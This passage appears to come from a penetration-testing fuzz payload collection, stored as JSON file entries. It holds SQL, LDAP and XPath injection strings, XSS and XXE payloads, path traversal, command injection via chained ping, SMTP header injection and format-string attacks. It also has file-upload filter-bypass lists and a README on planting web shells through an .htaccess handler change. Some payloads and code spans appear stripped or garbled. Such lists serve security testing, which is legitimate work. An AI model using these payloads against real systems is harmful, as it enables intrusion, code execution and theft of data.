1\n'||UTL_HTTP.REQUEST\n1;SELECT%20*\nto_timestamp_tz\ntz_offset\n<>"'%;)(&+\n'%20or%201=1\n%27%20or%201=1\n%20$(sleep%2050)\n%20'sleep%2050'\nchar%4039%41%2b%40SELECT\n'%20OR\n'sqlattempt1\n(sqlattempt2)\n|\n%7C\n*|\n%2A%7C\n*(|(mail=*))\n%2A%28%7C%28mail%3D%2A%29%29\n*(|(objectclass=*))\n%2A%28%7C%28objectclass%3D%2A%29%29\n(\n%28\n)\n%29\n&\n%26\n!\n%21\n' or 1=1 or ''='\n' or ''='\nx' or 1=1 or 'x'='y\n/\n//\n//*\n*/*\n@*\ncount(/child::node())\nx' or name()='username' or 'x'='y\n','')); phpinfo(); exit;/*\nvar n=0;while(true){n++;}]]>\nSCRIPT]]>alert('XSS');/SCRIPT]]>\nSCRIPT]]>alert('XSS');/SCRIPT]]>\n\n]>&xxe;\n]>&xxe;\n]>&xxe;\n]>&xxe;\n]]>\n<IMG SRC=\"javascript:alert('XSS')\">\n\nXSS\n\n'\n'--\n' or 1=1--\n1 or 1=1--\n' or 1 in (@@version)--\n1 or 1 in (@@version)--\n'; waitfor delay '0:30:0'--\n1; waitfor delay '0:30:0'--\n'||Utl_Http.request('http://') from dual--\n1||Utl_Http.request('http://') from dual--\nxsstest\nxsstest%00\"<>'\n\n\n))))))))))\n../../../../../../../../../../boot.ini\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\n../../../../../../../../../../windows/win.ini\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini\n|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &\n| ping -i 30 127.0.0.1 |\n| ping -n 30 127.0.0.1 |\n& ping -i 30 127.0.0.1 &\n& ping -n 30 127.0.0.1 &\n; ping 127.0.0.1 ;\n%0a ping -i 30 127.0.0.1 %0a\n`ping 127.0.0.1`\n;echo 111111\necho 111111\nresponse.write 111111\n:response.write 111111\nhttp:///\n%0aCc:\n%0d%0aCc:\n%0aBcc:\n%0d%0aBcc:\n%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+%0aRCPT+TO:+%0aDATA%0aFrom:+%0aTo:+%0aSubject:+tst%0afoo%0a%2e%0a\n%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+%0d%0aRCPT+TO:+%0d%0aDATA%0d%0aFrom:+%0d%0aTo:+%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a\n# known cross platform source Code, file disclosure attack patterns - append after file or dir path\n%70\n.%E2%73%70\n%2e0\n%2e\n.\n\\\n?*\n%20\n%00\n%2f\n%5c\ncount(/child::node())\nx' or name()='username' or 'x'='y\nvar n=0;while(true){n++;}]]>\nSCRIPT]]>alert('XSS');/SCRIPT]]>\n\"SCRIPT]]>alert('XSS');/SCRIPT]]>\"\n\"\"\n\"]>&xxe;\"\n\"]>&xxe;\"\n\"]>&xxe;\"\n\"]>&xxe;\"\n\"]]>\"\n\"cript:alert('XSS')\"\">\"\n\"\"\n\"XSS\"\n%00\nNULL\nnull\n'\n\"\n;\n\n\">\n%0d\n%0a\n%7f\n%ff\n-1\nother\n%s%p%x%d\n%99999999999s\n%08x\n%20d\n%20n\n%20x\n%20s\n%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d \n%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i\n%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o\n%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u\n%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x\n%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X\n%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a\n%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A\n%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e\n%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E\n%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f\n%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F\n%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g\n%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G\n%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p\n%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%\nXXXXX.%p\nXXXXX`perl -e 'print \".%p\" x 80'`\n`perl -e 'print \".%p\" x 80'`%n\n" }, { "path": "attack/all-attacks/all-attacks-xplatform.txt", "content": "!'\n!@#$%%^#$%#$@#$%$$@#$%^^**(()\n!@#0%^#0##018387@#0^^**(()\n\"><\"test@address.com\r\na\"b(c)d,e:f;gi[j\\k]l@example.com\r\nthis is\"not\\allowed@example.com\r\nnotallowed@example.com \r\n notallowed@example.com\r\n" }, { "path": "attack/email/valid-email-addresses.txt", "content": "email@eaddress.com\nfirstname.lastname@address.com\nemail@subdomain.address.com\nfirstname+lastname@address.com\nname@129.129.129.129\nname@[129.129.129.129]\n0123456789@address.com\nemail@address-one.com\nemail@address.name\nemail@address.co.jp\nfirstname-lastname@address.com\nmuch.\"more\\ unusual\"@address.com\nvery.unusual.\"@\".unusual.com@address.com\nvery.\"(),:;<>[]\".VERY.\"very@\\\\ \"very\".unusual@strange.address.com\nabcdefghijklmnopqrstuvwxyz!#$%&'*+-/=?^_`{|}~.0123456789@abcdefghijklmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.com\n{jacco'vantuijl}@address.server\n\"Jacco\\@test\"@address.com\n\"Jacco van Tuijl\"@address.com\n\"Jacco\\\\test\"@address.com\n\"Jacco@test\"@address.com\nJacco/van=Tuijl@address.com\n\\$A12345@address.com\n!def!abc%dfg@address.com\n_jacco@address.com\na.long.email.address.test@dept.address.com\n\"jacco.vantuijl.@.address.com\"@address.com\njacco@mailserver1\n#!$%&'*+-/=?^_`{}|~@address.org\n\"()<>[]:,;@\\\\\\\"!#$%&'*+-/=?^_`{}| ~.a\"@address.org\n\" \"@address.org\nüñîçøðé@address.com\naddress@üñîçøðé.com\nüñîçøðé@üñîçøðé.com" }, { "path": "attack/file-upload/README.md", "content": "File Upload Fuzzfiles- File Name Filter Bypass Notes \n\nsee: http://cwe.mitre.org/data/definitions/434.html\n\n* kinds of file upload verifications:\n * content-type\n * filename extension verificationi (whitelist, blacklist)\n * file content checking\n * client side, ha ha ha\n\nFile notes:\n\n**alt-extensions-asp.fuzz.txt**\n\n**alt-extensions-coldfusion.fuzz.txt**\n\n**alt-extensions-jsp.fuzz.txt**\n\n**alt-extensions-perl.fuzz.txt**\n\n**alt-extensions-php.fuzz.txt**\n\nAlternative ways of expressing file extensions that will be interpreted correctly by the target filesystem/app and can be used to bypass blacklist filters:\n\n**file-ul-filter-bypass-commonly-writable-directories.fuzz.txt**
\nFile directory names that experience has shown are often writable\n\n\n**file-ul-filter-bypass-microsoft-asp-filetype-bf.fuzz.txt**
\n``` {ASPSCRIPT} ``` gets regex replaced with the shell or other file you are trying to upload, {EXT} should be brute-forced with payloads from discovery/filename-bruteforce/file-extensions/, since some file upload types may be allowed that are not listed.\n\n\n**file-ul-filter-bypass-microsoft-asp.fuzz.txt**
\nthis file contains a number of common predictable values. Add more if other file types are allowed, or use the filetype-bf version of this fuzzfile - ``` {ASPSCRIPT} ``` gets regex replaced. \n\n\n**file-ul-filter-bypass-ms-php.fuzz.txt**\n\n**file-ul-filter-bypass-x-platform-php.fuzz.txt**
\nphp on microsoft, cross-platform. use both on ms.
\nUse exiftool http://www.sno.phy.queensu.ca/~phil/exiftool/ to create a .jpg image with the meta comment field set to:
\n\n``` ```\n\nthen regex replace ``` {PHPSCRIPT} ``` in the fuzzfile payload with the name of your .jpg file in the target directory
\n\n**invalid-filenames-microsoft.fuzz.txt**
\nUseful for causing error messages that contain an absolute drivepath, such as if you don't know where the file uploader puts files
\nregex replace ``` {EXT} ``` with allowed extension type \n\n**file-ul-filter-bypass-x-platform-generic.fuzz.txt**
\nThese might bypass a file upload blacklist but be written in a way that leaves them executable because of the filetype\nregex replace ``` {PHPSCRIPT} ``` with your script name
\n\n**invalid-filenames-linux.fuzz.txt**
\ninvalid filenames under linux, and since there aren't too many of those (there's one), other filepaths that may cause problems. these can be used to attempt to cause an error condition during file upload bypass attempts which might reveal an absolute path. Useful if you're not sure where your files are landing.
\n\n**invalid-filesystem-chars-microsoft.fuzz.txt**
\nlist of invalid characters for windows filesystem - these can be used to attempt to cause an error condition during file upload bypass attempts which might reveal an absolute path. Useful if you're not sure where your files are landing. fuzz these into a filename during upload attempts
\n\n**Addtl Tips:**\n\n**For mod_cgi Server Side Include upload attacks:**\n``` ```\n\nor, on Windows
\n``` ```\n\nSometimes you can overwrite .htaccess in an upload folder on Apache httpd, if so, \ntry setting jpg mimetype handler to executable. If you can set the target directory, try to fuzz the \nlist of all dirs you've enumerated on the servers, and try the commonly writable directory fuzzfile.\n\n**example .htaccess entry that sets mime type .jpg to be executable:**
\n ``` AddType application/x-httpd-php .jpg ```\n\n**Encoding Web Shells in PNG IDAT chunks**
\nhttps://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
\n\n" }, { "path": "attack/file-upload/alt-extensions-asp.txt", "content": "asp\naspx\nasa\naSP\naSpx\naSa\nasp%20%20%20\naspx%20%20%20\nasa%20%20%20\naSP%20%20%20\naSpx%20%20%20\naSa%20%20%20\nasp......\naspx......\nasa......\naSP......\naSpx......\naSa......\nasp%20%20%20...%20.%20..\naspx%20%20%20...%20.%20..\nasa%20%20%20...%20.%20..\naSP%20%20%20...%20.%20..\naSpx%20%20%20...%20.%20..\naSa%20%20%20...%20.%20..\nasp%00\naspx%00\nasa%00\naSp%00\naSpx%00\naSa%00\n" }, { "path": "attack/file-upload/alt-extensions-coldfusion.txt", "content": "cfm\ncfml\ncfc\ndbm\ncFm\ncFml\ncFc\ndBm\ncfm%20%20%20\ncfml%20%20%20\ncfc%20%20%20\ndbm%20%20%20\ncFm%20%20%20\ncFml%20%20%20\ncFc%20%20%20\ndBm%20%20%20\ncfm......\ncfml......\ncfc.......\ndbm......\ncFm......\ncFml......\ncFc......\ndBm......\ncfm%20%20%20...%20.%20..\ncfml%20%20%20...%20.%20..\ncfc%20%20%20...%20.%20..\ndbm%20%20%20...%20.%20..\ncFm%20%20%20...%20.%20..\ncFml%20%20%20...%20.%20..\ncFc%20%20%20...%20.%20..\ndBm%20%20%20...%20.%20..\ncfm%00\ncfml%00\ncfc%00\ndbm%00\ncFm%00\ncFml%00\ncFc%00\ndBm%00\n" }, { "path": "attack/file-upload/alt-extensions-jsp.txt", "content": "jsp\njspx\njsw\njsv\njspf\njSp\njSpx\njSw\njSv\njSpf\njSp%00\njSp%20%20%20\njSp%20%20%20...%20.%20..a\njSp......\njSpf%00\njSpf%20%20%20\njSpf%20%20%20...%20.%20..a\njSpf......\njSpx%00\njSpx%20%20%20\njSpx%20%20%20...%20.%20..a\njSpx......\njSv%00\njSv%20%20%20\njSv%20%20%20...%20.%20..a\njSv......\njSw%00\njSw%20%20%20\njSw%20%20%20...%20.%20..a\njSw......\njsp%00\njsp%20%20%20\njsp%20%20%20...%20.%20..a\njsp......\njspf%00\njspf%20%20%20\njspf%20%20%20...%20.%20..a\njspf......\njspx%00\njspx%20%20%20\njspx%20%20%20...%20.%20..a\njspx......\njsv%00\njsv%20%20%20\njsv%20%20%20...%20.%20..a\njsv......\njsw%00\njsw%20%20%20\njsw%20%20%20...%20.%20..a\njsw......\n" }, { "path": "attack/file-upload/alt-extensions-perl.txt", "content": "# .pm .lib cannot be called directly, must be called as modules\npl\npm\ncgi\npL\npM\ncGi\nlib\nlIb\ncGi%00\ncGi%20%20%20\ncGi......\ncgi%00\ncgi%20%20%20\ncgi......\nlIb%00\nlIb%20%20%20\nlIb......\nlib%00\nlib%20%20%20\nlib......\npL%00\npL%20%20%20\npL......\npM%00\npM%20%20%20\npM......\npl%00\npl%20%20%20\npl......\npm%00\npm%20%20%20\npm......\n" }, { "path": "attack/file-upload/alt-extensions-php.txt", "content": "phtml\nphp\nphp3\nphp4\nphp5\ninc \npHtml\npHp\npHp3\npHp4\npHp5\niNc\niNc%00\niNc%20%20%20\niNc%20%20%20...%20.%20..\niNc......\ninc%00\ninc%20%20%20\ninc%20%20%20...%20.%20..\ninc......\npHp%00\npHp%20%20%20\npHp%20%20%20...%20.%20..\npHp......\npHp3%00\npHp3%20%20%20\npHp3%20%20%20...%20.%20..\npHp3......\npHp4%00\npHp4%20%20%20\npHp4%20%20%20...%20.%20..\npHp4......\npHp5%00\npHp5%20%20%20\npHp5%20%20%20...%20.%20..\npHp5......\npHtml%00\npHtml%20%20%20\npHtml%20%20%20...%20.%20..\npHtml......\nphp%00\nphp%20%20%20\nphp%20%20%20...%20.%20..\nphp......\nphp3%00\nphp3%20%20%20\nphp3%20%20%20...%20.%20..\nphp3......\nphp4%00\nphp4%20%20%20\nphp4%20%20%20...%20.%20..\nphp4......\nphp5%00\nphp5%20%20%20\nphp5%20%20%20...%20.%20..\nphp5......\nphtml%00\nphtml%20%20%20\nphtml%20%20%20...%20.%20..\nphtml......\n" }, { "path": "attack/file-upload/file-ul-filter-bypass-commonly-writable-directories.txt", "content": "templates_compiled\ntemplates_c\ntemplates\ntemporary\nimages\ncache\ntemp\nfiles\ntmp\n" }, { "path": "attack/file-upload/file-ul-filter-bypass-microsoft-asp-filetype-bf.txt", "content": "{ASPSCRIPT}\n{ASPSCRIPT}.{EXT}\n{ASPSCRIPT};\n{ASPSCRIPT};.{EXT}\n{ASPSCRIPT}%00\n{ASPSCRIPT}%00.{EXT}\n{ASPSCRIPT}::data%00.\n{ASPSCRIPT}::data%00.{EXT}\n" }, { "path": "attack/file-upload/file-ul-filter-bypass-microsoft-asp.txt", "content": "{ASPSCRIPT}\n{ASPSCRIPT};\n{ASPSCRIPT};.jpg\n{ASPSCRIPT};.pdf\n{ASPSCRIPT};.html\n{ASPSCRIPT};.htm\n{ASPSCRIPT};.txt\n{ASPSCRIPT};.xyz\n{ASPSCRIPT};.zip\n{ASPSCRIPT};.tgz\n{ASPSCRIPT};.doc\n{ASPSCRIPT};.docx\n{ASPSCRIPT};.xls\n{ASPSCRIPT};.xlsx\n{ASPSCRIPT}%00.jpg\n{ASPSCRIPT}%00.pdf\n{ASPSCRIPT}%00.html\n{ASPSCRIPT}%00.txt\n{ASPSCRIPT}%00.xyz\n{ASPSCRIPT}%00.tgz\n{ASPSCRIPT}%00.zip\n{ASPSCRIPT}%00.doc\n{ASPSCRIPT}%00.docx\n{ASPSCRIPT}%00\n{ASPSCRIPT}::data%00.jpg\n{ASPSCRIPT}::data%00.pdf\n{ASPSCRIPT}::data%00.html\n{ASPSCRIPT}::data%00.txt\n{ASPSCRIPT}::data%00.zip\n{ASPSCRIPT}::data%00.doc\n{ASPSCRIPT}::data%00.xls\n{ASPSCRIPT}%00%20%20%20\n{ASPSCRIPT}%00%20%20%20...%20.%20..\n{ASPSCRIPT}%00......\n{ASPSCRIPT}%20%20%20\n{ASPSCRIPT}%20%20%20...%20.%20..\n{ASPSCRIPT}......\n{ASPSCRIPT}::data%00%%20%20%20\n{ASPSCRIPT}::data%00%%20%20%20...%20.%20..\n{ASPSCRIPT}::data%00%......\n{ASPSCRIPT}%00%20%20%20;.jpg\n{ASPSCRIPT}%00%20%20%20;.doc\n{ASPSCRIPT}%00%20%20%20...%20.%20..;.jpg\n{ASPSCRIPT}%00%20%20%20...%20.%20..;.doc\n{ASPSCRIPT}%00......;.jpg\n{ASPSCRIPT}%00......;.doc\n{ASPSCRIPT}%20%20%20;.jpg\n{ASPSCRIPT}%20%20%20;.doc\n{ASPSCRIPT}%20%20%20...%20.%20..;.jpg\n{ASPSCRIPT}%20%20%20...%20.%20..;.doc\n{ASPSCRIPT}......;.jpg\n{ASPSCRIPT}......;.doc\n{ASPSCRIPT}::data%00%%20%20%20;.jpg\n{ASPSCRIPT}::data%00%%20%20%20;.doc\n{ASPSCRIPT}::data%00%%20%20%20...%20.%20..;.jpg\n{ASPSCRIPT}::data%00%%20%20%20...%20.%20..;.doc\n{ASPSCRIPT}::data%00%......;.jpg\n{ASPSCRIPT}::data%00%......;.doc\n" }, { "path": "attack/file-upload/file-ul-filter-bypass-ms-php.txt", "content": "{PHPSCRIPT}\n{PHPSCRIPT}.phtml\n{PHPSCRIPT}.php.html\n{PHPSCRIPT}.php::$DATA\n{PHPSCRIPT}.php.php.rar \n{PHPSCRIPT}.php.rar \n{PHPSCRIPT}::$DATA\n" }, { "path": "attack/file-upload/file-ul-filter-bypass-x-platform-generic.txt", "content": "%00index.html\n;index.html\n%00 \n" }, { "path": "attack/file-upload/file-ul-filter-bypass-x-platform-php.txt", "content": "{PHPSCRIPT}\n{PHPSCRIPT}.phtml\n{PHPSCRIPT}.php.html\n{PHPSCRIPT}.php.php.rar \n{PHPSCRIPT}.php.rar \n" }, { "path": "attack/file-upload/invalid-filenames-linux.txt", "content": "/\n\n\\0\n/dev/null\n/dev/null/foo\n.\n.." }, { "path": "attack/file-upload/invalid-filenames-microsoft.txt", "content": "A:\nZZ:\nCON\nPRN\nAUX\nCLOCK$\nNUL\nCOM1\nCOM2\nCOM3\nCOM4\nCOM5\nCOM6\nCOM7\nCOM8\nCOM9\nLPT1\nLPT2\nLPT3\nLPT4\nLPT5\nLPT6\nLPT7\nLPT8\nLPT9\n*\n\"\n[\n] \n: \n| \n= \n,\nCON.{EXT}\nPRN.{EXT}\nAUX.{EXT}\nCLOCK$.{EXT}\nNUL.{EXT}\nCOM1.{EXT}\nCOM2.{EXT}\nCOM3.{EXT}\nCOM4.{EXT}\nCOM5.{EXT}\nCOM6.{EXT}\nCOM7.{EXT}\nCOM8.{EXT}\nCOM9.{EXT}\nLPT1.{EXT}\nLPT2.{EXT}\nLPT3.{EXT}\nLPT4.{EXT}\nLPT5.{EXT}\nLPT6.{EXT}\nLPT7.{EXT}\nLPT8.{EXT}\nLPT9.{EXT}\n*.{EXT}\n\".{EXT}\n[.{EXT}\n].{EXT} \n:.{EXT} \n|.{EXT} \n=.{EXT} \n,.{EXT}\n" }, { "path": "attack/file-upload/invalid-filesystem-chars-microsoft.txt", "content": "* \n. \n\" \n/ \n\\ \n[ \n] \n: \n; \n| \n= \n,\n" }, { "path": "attack/file-upload/invalid-filesystem-chars-osx.txt", "content": "# list of invalid characters for osx - these can be used to attempt to cause an error condition during file upload bypass attempts which might reveal an absolute path. Useful if you're not sure where your files are landing.\n# fuzz these into a filename during upload attempts\n: \n" }, { "path": "attack/file-upload/malicious-images/README.md", "content": "From SecLists:\n\n## lottapixel\n\nOriginally reported at https://hackerone.com/reports/390, addressed on paperclip.\n\nA specially crafted JPEG (the original file was named lottapixel.jpg) causes attempts to determine the dimensions of the image to exhaust available memory. From the original report:\n\nThe exploit is really simple. I have an image of 5kb, 260x260 pixels. In the image itself I exchange the 260x260 values with 0xfafa x 0xfafa (so 64250x64250 pixels). Now from what I remember your service tries to convert the image once uploaded. By loading the 'whole image' into memory, it tries to allocate 4128062500 pixels into memory, flooding the memory and causing DoS.\n\n## uber.gif\n\nCurrent limits\n\nImage size: 1 MB\nImage dimensions: 2048x2048px\nFile types: jpg/png/gif\n\nAnother image hack\n\nA GIF composed of 40k 1x1 images made Paperclip freeze until timeout.\n\nAs attachments I sent the file composed of 40k images, and a screenshot of the timeout.\n\n## EICAR File\n\nThe EICAR Standard Anti-Virus Test File or EICAR test file is a computer file that was developed by the European Institute for Computer Antivirus Research (EICAR) and Computer Antivirus Research Organization (CARO), to test the response of computer antivirus (AV) programs. Instead of using real malware, which could do real damage, this test file allows people to test anti-virus software without having to use a real computer virus.\n\nAnti-virus programmers set the EICAR string as a verified virus, similar to other identified signatures. A compliant virus scanner, when detecting the file, will respond in exactly the same manner as if it found a harmful virus. Not all virus scanners are compliant, and may not detect the file even when they are correctly configured.\n\nThe use of the EICAR test string can be more versatile than straightforward detection: a file containing the EICAR test string can be compressed or archived, and then the antivirus software can be run to see whether it can detect the test string in the compressed file.\n\n## xssproject File\n\nAs you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs.\n\nThis method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either.\n\nExamples:\n\nBrowsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);\n\nIE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}\n\nIE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);\n\n## POC_img_phpinfo File\n\nOutlined here: https://www.secgeek.net/bookfresh-vulnerability/\n" }, { "path": "attack/file-upload/malicious-images/eicar.com.txt", "content": "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" }, { "path": "attack/format-strings/format-strings.txt", "content": "%s%p%x%d\n%p%p%p%p\n%x%x%x%x\n%d%d%d%d\n%s%s%s%s\n%99999999999s\n%08x\n%20d\n%20n\n%20x\n%20s\n%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d \n%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i\n%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o\n%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u\n%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x\n%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X\n%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a\n%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A\n%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e\n%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E\n%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f\n%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F\n%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g\n%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G\n%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p\n%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%\nXXXXX.%p\nXXXXX`perl -e 'print \".%p\" x 80'`\n`perl -e 'print \".%p\" x 80'`%n\n%08x.%08x.%08x.%08x.%08x\\n\nXXX0_%08x.%08x.%08x.%08x.%08x\\n\n%.16705u%2\\$hn\n\\x10\\x01\\x48\\x08_%08x.%08x.%08x.%08x.%08x|%s|\nAAAAA%c\nAAAAA%d\nAAAAA%e\nAAAAA%f\nAAAAA%I\nAAAAA%o\nAAAAA%p\nAAAAA%s\nAAAAA%x\nAAAAA%n\nppppp%c\nppppp%d\nppppp%e\nppppp%f\nppppp%I\nppppp%o\nppppp%p\nppppp%s\nppppp%x\nppppp%n\n%@\n%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@\n%*\n%*p\n%*x\n%*s\n%*S\n%*$*\n%*$*p\n%*$*x\n%*$*s\n%*$*S\n" }, { "path": "attack/html_js_fuzz/HTML5sec_Injections.txt", "content": "

\n&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi\n&alert&A7&(1)&R&UA;&&<&A9&11/script&X&>\n0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))\n\n\n\n\nX\n\n\n





...



\n01\n\n\nX\n\n\n¼script ¾alert(1)//¼/script ¾\n\n\n\n
\n1\n;1\n+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);\n\n1\n@import \"data:,*%7bx:expression(write(1))%7D\";\n\n
\nXXXXXX\n1\n1\nXXX\n\n\n><image xlink:href=\"\n\n
  • \nXXX\nHello\nX\n
    XXX
    \n
    XXX
    \n\n\n\n\n\n\n\n\n